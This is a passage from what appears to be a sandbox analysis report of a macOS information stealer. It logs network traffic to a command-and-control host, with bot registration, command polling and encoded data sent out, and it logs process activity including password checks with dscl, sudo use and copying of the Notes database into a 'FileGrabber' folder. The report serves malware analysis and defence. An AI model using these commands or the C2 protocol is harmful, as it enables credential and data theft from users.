2026-08-13 13:55:23 UTC	1460	OUT	Data Raw: 52 67 49 62 42 54 55 62 41 77 55 58 46 68 45 4e 42 45 30 71 4c 55 4d 45 4a 78 73 45 42 53 42 4d 43 45 30 35 45 44 56 62 4f 78 46 5a 52 79 55 36 52 54 63 61 42 56 6b 34 4d 51 34 51 4a 45 49 37 41 69 34 31 4f 69 59 6c 4e 45 64 46 4e 77 45 67 4e 54 64 4b 4c 52 38 6d 4b 44 42 41 4a 67 73 5a 41 44 67 65 41 51 70 42 47 44 4a 44 48 43 42 47 46 41 51 35 42 68 52 44 51 67 59 72 49 77 67 77 4b 68 45 6c 54 52 4d 74 45 51 41 6f 4f 43 59 35 4e 43 78 42 50 77 59 61 43 69 4d 5a 4d 79 41 74 4b 68 6f 33 42 69 73 59 4e 31 74 46 51 79 63 78 4a 42 45 42 41 6a 45 61 4f 44 6f 63 44 6a 78 43 52 41 4e 45 48 43 51 73 4d 77 59 6d 49 69 45 44 42 79 56 47 49 68 41 74 58 55 51 31 4d 79 45 52 52 44 55 58 41 78 51 42 4b 45 49 44 49 6a 5a 43 46 78 49 57 41 44 63 44 4b 6b 59 5a 52 68 59 Data Ascii: RgIbBTUbAwUXFhENBE0qLUMEJxsEBSBMCE05EDVbOxFZRyU6RTcaBVk4MQ4QJEI7Ai41OiYlNEdFNwEgNTdKLR8mKDBAJgsZADgeAQpBGDJDHCBGFAQ5BhRDQgYrIwgwKhElTRMtEQAoOCY5NCxBPwYaCiMZMyAtKho3BisYN1tFQycxJBEBAjEaODocDjxCRANEHCQsMwYmIiEDByVGIhAtXUQ1MyERRDUXAxQBKEIDIjZCFxIWADcDKkYZRhY
2026-08-13 13:55:23 UTC	1460	OUT	Data Raw: 4e 52 55 67 4e 7a 4d 78 47 77 55 4d 4a 7a 49 6c 4e 52 41 54 4e 7a 64 47 41 77 55 68 4e 54 4d 58 45 79 55 54 4d 55 55 7a 52 78 30 35 41 7a 55 57 4a 53 4a 43 4d 7a 59 6a 4d 30 6f 31 4e 69 55 33 46 54 41 43 49 54 49 54 4e 67 55 6d 4d 78 45 55 4a 42 51 75 41 30 30 55 50 53 49 63 47 43 34 45 4a 55 55 37 50 7a 30 46 48 41 56 48 41 7a 6b 45 4d 55 45 66 50 68 30 6f 51 52 73 6d 47 42 78 64 4d 7a 63 69 47 44 4a 41 44 6b 4d 6e 4d 43 41 36 46 6a 73 57 53 7a 73 5a 51 69 59 69 52 43 41 59 48 44 6b 34 50 79 4d 55 4f 41 4d 53 43 68 77 36 49 42 45 67 41 43 4d 31 4c 53 45 73 50 68 39 45 58 77 51 45 52 52 45 54 4e 6a 5a 62 48 55 31 44 4e 55 41 33 52 69 35 47 41 52 52 4d 49 77 34 42 48 67 6f 41 52 77 35 44 4d 54 64 41 41 67 45 38 44 54 63 5a 50 53 4d 6d 45 41 49 61 41 51 4e Data Ascii: NRUgNzMxGwUMJzIlNRATNzdGAwUhNTMXEyUTMUUzRx05AzUWJSJCMzYjM0o1NiU3FTACITITNgUmMxEUJBQuA00UPSIcGC4EJUU7Pz0FHAVHAzkEMUEfPh0oQRsmGBxdMzciGDJADkMnMCA6FjsWSzsZQiYiRCAYHDk4PyMUOAMSChw6IBEgACM1LSEsPh9EXwQERRETNjZbHU1DNUA3Ri5GARRMIw4BHgoARw5DMTdAAgE8DTcZPSMmEAIaAQN
2026-08-13 13:55:24 UTC	163	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 13 Aug 2026 13:55:24 GMT Content-Type: application/json Content-Length: 98 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.0.58	49165	138.124.70.84	443

Timestamp	Bytes transferred	Direction	Data
2026-08-13 13:55:24 UTC	187	OUT	POST /api/bot/actions/api/bot/join HTTP/1.1 content-type: application/json x-api-key: 86770e8759abf2dad9ae85f5e11a25e9 content-length: 128 accept: / host: debug.allllowef.space
2026-08-13 13:55:24 UTC	128	OUT	Data Raw: 7b 22 62 6f 74 5f 69 64 22 3a 22 37 61 66 35 35 63 32 65 33 37 32 64 22 2c 22 62 72 6f 77 73 65 72 5f 70 72 6f 66 69 6c 65 73 22 3a 5b 7b 22 62 72 6f 77 73 65 72 22 3a 22 63 68 72 6f 6d 65 22 2c 22 70 72 6f 66 69 6c 65 73 22 3a 5b 22 44 65 66 61 75 6c 74 22 5d 7d 5d 2c 22 62 75 69 6c 64 5f 69 64 22 3a 22 70 70 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 72 6e 61 72 64 6f 22 7d Data Ascii: {"bot_id":"7af55c2e372d","browser_profiles":[{"browser":"chrome","profiles":["Default"]}],"build_id":"pp","username":"bernardo"}
2026-08-13 13:55:24 UTC	163	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 13 Aug 2026 13:55:24 GMT Content-Type: application/json Content-Length: 11 Connection: keep-alive
2026-08-13 13:55:24 UTC	11	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 7d Data Ascii: {"ok":true}

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.0.58	49166	138.124.70.84	443

Timestamp	Bytes transferred	Direction	Data
2026-08-13 13:55:24 UTC	187	OUT	POST /api/bot/actions/api/bot/join HTTP/1.1 content-type: application/json x-api-key: 86770e8759abf2dad9ae85f5e11a25e9 content-length: 128 accept: / host: debug.allllowef.space
2026-08-13 13:55:24 UTC	128	OUT	Data Raw: 7b 22 62 6f 74 5f 69 64 22 3a 22 37 61 66 35 35 63 32 65 33 37 32 64 22 2c 22 62 72 6f 77 73 65 72 5f 70 72 6f 66 69 6c 65 73 22 3a 5b 7b 22 62 72 6f 77 73 65 72 22 3a 22 63 68 72 6f 6d 65 22 2c 22 70 72 6f 66 69 6c 65 73 22 3a 5b 22 44 65 66 61 75 6c 74 22 5d 7d 5d 2c 22 62 75 69 6c 64 5f 69 64 22 3a 22 70 70 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 72 6e 61 72 64 6f 22 7d Data Ascii: {"bot_id":"7af55c2e372d","browser_profiles":[{"browser":"chrome","profiles":["Default"]}],"build_id":"pp","username":"bernardo"}
2026-08-13 13:55:24 UTC	163	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 13 Aug 2026 13:55:24 GMT Content-Type: application/json Content-Length: 11 Connection: keep-alive
2026-08-13 13:55:24 UTC	11	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 7d Data Ascii: {"ok":true}

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.0.58	56527	17.248.209.54	443

Timestamp	Bytes transferred	Direction	Data
2026-08-13 13:55:47 UTC	303	OUT	PUT /v1/configs HTTP/1.1 host: weather-edge.apple.com accept: / content-type: application/json accept-encoding: identity accept-language: en-US,en;q=0.9 user-agent: WeatherWidget/881 CFNetwork/3826.600.41 Darwin/24.6.0 x-request-id: 604FFF3F-F621-45AD-8E59-644CC1212EF3 content-length: 563
2026-08-13 13:55:47 UTC	563	OUT	Data Raw: 7b 22 73 74 6f 72 65 66 72 6f 6e 74 49 64 22 3a 22 31 34 33 34 35 39 22 2c 22 77 65 61 74 68 65 72 32 43 6f 6e 66 69 67 52 65 71 75 65 73 74 22 3a 7b 22 63 68 61 6e 67 65 54 61 67 57 72 61 70 70 65 72 22 3a 7b 22 69 64 22 3a 22 77 65 61 74 68 65 72 32 2d 61 70 70 2d 63 6f 6e 66 69 67 2d 76 31 22 2c 22 63 68 61 6e 67 65 54 61 67 22 3a 22 43 43 33 62 66 64 66 31 65 37 2d 39 39 30 32 2d 33 31 39 61 2d 62 64 37 61 2d 62 35 30 36 65 38 32 61 39 33 31 34 2c 34 36 61 38 32 65 64 38 2d 31 36 62 33 2d 33 35 34 31 2d 61 34 30 35 2d 38 35 30 65 62 39 31 63 66 39 63 64 7c 4c 43 37 64 38 30 30 30 39 38 2d 39 32 36 30 2d 33 36 62 66 2d 39 30 61 33 2d 36 65 38 38 37 63 66 65 31 66 38 64 7c 46 54 54 4f 44 41 59 7c 22 2c 22 6c 61 73 74 4d 6f 64 69 66 69 65 64 22 3a 22 32 Data Ascii: {"storefrontId":"143459","weather2ConfigRequest":{"changeTagWrapper":{"id":"weather2-app-config-v1","changeTag":"CC3bfdf1e7-9902-319a-bd7a-b506e82a9314,46a82ed8-16b3-3541-a405-850eb91cf9cd\|LC7d800098-9260-36bf-90a3-6e887cfe1f8d\|FTTODAY\|","lastModified":"2
2026-08-13 13:55:47 UTC	819	IN	HTTP/1.1 200 OK server: AppleHttpServer/c0e35b2e0f40 date: Thu, 13 Aug 2026 13:55:47 GMT content-type: application/json content-length: 382 vary: Accept-Encoding x-request-id: 604FFF3F-F621-45AD-8E59-644CC1212EF3 x-content-type-options: nosniff x-xss-protection: 0 cache-control: no-cache, no-store, max-age=0, must-revalidate pragma: no-cache expires: 0 strict-transport-security: max-age=31536000 ; includeSubDomains x-frame-options: DENY content-encoding: gzip x-b3-traceid: 173cdb23bb20ec14 strict-transport-security: max-age=31536000 via: 631194250daa17e24277dea86cf30319:cf29161419b3b520d9531d7bb441a2aa:defra2 x-apple-request-uuid: d3c4e61d-0113-41e5-9915-eca7044b6f3d access-control-expose-headers: X-Apple-Request-UUID,Via alt-svc: h3=":443"; ma=2592000 x-apple-edge-response-time: 423
2026-08-13 13:55:47 UTC	382	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 8d 91 4b 6b 1b 41 10 84 ff cb 9c b7 61 9e 3d d3 ba 19 85 80 c1 21 07 0b 4c 08 3a f4 bc 56 0b f1 ca ec ae e3 83 b4 ff dd 23 63 9b 90 10 d0 65 a0 9b a2 eb ab 9a 93 78 9e cb 74 3b d6 a3 d8 9c c4 32 15 5e 1e cb b8 dc e6 59 6c 7e ee 3b 31 97 fe 32 df 97 f7 15 6a 89 fb b5 13 2f 4d 78 28 93 de 1e c7 3a f4 cf 13 2f c3 71 7c 98 f8 e9 a9 4c 97 4b 43 16 9b 4f 11 b4 35 a4 37 25 fc 56 a2 13 e9 c0 63 5f 76 dc 37 d1 76 6b 62 cd 55 15 0f 44 52 83 51 c4 10 b3 6f 8f 93 58 82 66 32 ca 76 16 39 e8 92 03 28 8c 06 8c b3 0a d8 4a 07 c1 c9 12 49 a5 4a 29 9f ef b6 3e 07 29 25 05 20 8d 12 0c c6 0a 24 d9 40 3b 14 7c aa 45 d5 90 cf 5f 77 bb ef 5f 6e 7e 9c ff 24 f9 d6 18 87 b1 bf b0 a7 f4 3e dc 0d f3 d2 32 9f c4 81 e7 43 43 bd 06 b4 dd 7c cb 9e 23 a2 b1 Data Ascii: KkAa=!L:V#cext;2^Yl~;12j/Mx(:/q\|LKCO57%Vc_v7vkbUDRQoXf2v9(JIJ)>)% $@;\|E_w_n~$>2CC\|#

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.0.58	49167	138.124.70.84	443

Timestamp	Bytes transferred	Direction	Data
2026-08-13 13:56:24 UTC	168	OUT	GET /api/bot/actions/api/bot/actions?build_id=pp&bot_id=7af55c2e372d HTTP/1.1 x-api-key: 86770e8759abf2dad9ae85f5e11a25e9 accept: / host: debug.allllowef.space
2026-08-13 13:56:24 UTC	163	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 13 Aug 2026 13:56:24 GMT Content-Type: application/json Content-Length: 14 Connection: keep-alive
2026-08-13 13:56:24 UTC	14	IN	Data Raw: 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 22 7d Data Ascii: {"command":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.0.58	49168	138.124.70.84	443

Timestamp	Bytes transferred	Direction	Data
2026-08-13 13:57:24 UTC	168	OUT	GET /api/bot/actions/api/bot/actions?build_id=pp&bot_id=7af55c2e372d HTTP/1.1 x-api-key: 86770e8759abf2dad9ae85f5e11a25e9 accept: / host: debug.allllowef.space
2026-08-13 13:57:24 UTC	163	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 13 Aug 2026 13:57:24 GMT Content-Type: application/json Content-Length: 14 Connection: keep-alive
2026-08-13 13:57:24 UTC	14	IN	Data Raw: 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 22 7d Data Ascii: {"command":""}

System Behavior

Analysis Process: Terminal PID: 1680, Parent PID: 442

General

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
Arguments:	-
File size:	2207824 bytes
MD5 hash:	4a805ed97c16419d370a5d3c2a51edd4

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/usr/bin/login
Arguments:	login -pf bernardo
File size:	139312 bytes
MD5 hash:	e283f795b1e590fc0301a21b2609bd1c

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/usr/bin/login
Arguments:	-
File size:	139312 bytes
MD5 hash:	e283f795b1e590fc0301a21b2609bd1c

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-bash
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/usr/libexec/path_helper
Arguments:	/usr/libexec/path_helper -s
File size:	102080 bytes
MD5 hash:	9c081a3321f082aa9ae2b5fc405ed56a

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/bin/mkdir
Arguments:	mkdir -m 700 -p /Users/bernardo/.bash_sessions
File size:	101472 bytes
MD5 hash:	f0bf092e00e988f1b0bb90aa63e4eaf3

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:00
Start date (UTC):	13/08/2026
Path:	/usr/bin/touch
Arguments:	/usr/bin/touch /Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.historynew
File size:	101792 bytes
MD5 hash:	1fb4516c9c1daed0ca778989c76e5254

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/Users/bernardo/Desktop/E9CX86U4Q7
Arguments:	/Users/bernardo/Desktop/E9CX86U4Q7
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/Users/bernardo/Desktop/E9CX86U4Q7
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	/tmp/syshelper_38577473 run_controller rt
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c pgrep -f '/tmp/syshelper_38577473' \| grep -v 1688 \| head -1
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c pgrep -f '/tmp/syshelper_38577473' \| grep -v 1688 \| head -1
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/usr/bin/pgrep
Arguments:	pgrep -f /tmp/syshelper_38577473
File size:	138224 bytes
MD5 hash:	f52036c1b47777c376ecce76445d7ba0

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/usr/bin/grep
Arguments:	grep -v 1688
File size:	153760 bytes
MD5 hash:	9d34346eeccb1b54d414c1402e672604

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/usr/bin/head
Arguments:	head -1
File size:	101952 bytes
MD5 hash:	7591411b1d441f133447ae1aeb0ddc48

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c whoami
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:02
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c whoami
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:02
Start date (UTC):	13/08/2026
Path:	/usr/bin/whoami
Arguments:	whoami
File size:	102176 bytes
MD5 hash:	9b0f9ad93b4be52a17c91219400ad7a2

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c dscl /Local/Default -authonly 'bernardo' '123456'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c dscl /Local/Default -authonly 'bernardo' '123456'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/usr/bin/dscl
Arguments:	dscl /Local/Default -authonly bernardo 123456
File size:	441152 bytes
MD5 hash:	a02b8b0043bac3052dfedff614cf3e67

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:07
Start date (UTC):	13/08/2026
Path:	/usr/bin/sudo
Arguments:	sudo -S -v
File size:	1446512 bytes
MD5 hash:	8f079d2160ed59dda0634df15b4b2bd5

Start time (UTC):	13:55:08
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:08
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:08
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:08
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:08
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:08
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c sw_vers -productVersion
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:08
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c sw_vers -productVersion
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:08
Start date (UTC):	13/08/2026
Path:	/usr/bin/sw_vers
Arguments:	sw_vers -productVersion
File size:	135536 bytes
MD5 hash:	633d6131df14d85dcd404ec1f8dfb187

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	osascript /tmp/N9XlzLZbJYFiad6a5ve5HYatU/tempAppleScript.scpt
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c osascript -e 'set volume with output muted'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c osascript -e 'set volume with output muted'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	osascript -e set volume with output muted
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/FileGrabber/'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/FileGrabber/'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/mkdir
Arguments:	mkdir -p /Users/bernardo/tempFolder-38577473/FileGrabber/
File size:	101472 bytes
MD5 hash:	f0bf092e00e988f1b0bb90aa63e4eaf3

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/cat
Arguments:	cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite
File size:	118992 bytes
MD5 hash:	618a09af83bc79d22174f44d78f4fc72

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:13
Start date (UTC):	13/08/2026
Path:	/bin/cat
Arguments:	cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm
File size:	118992 bytes
MD5 hash:	618a09af83bc79d22174f44d78f4fc72

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
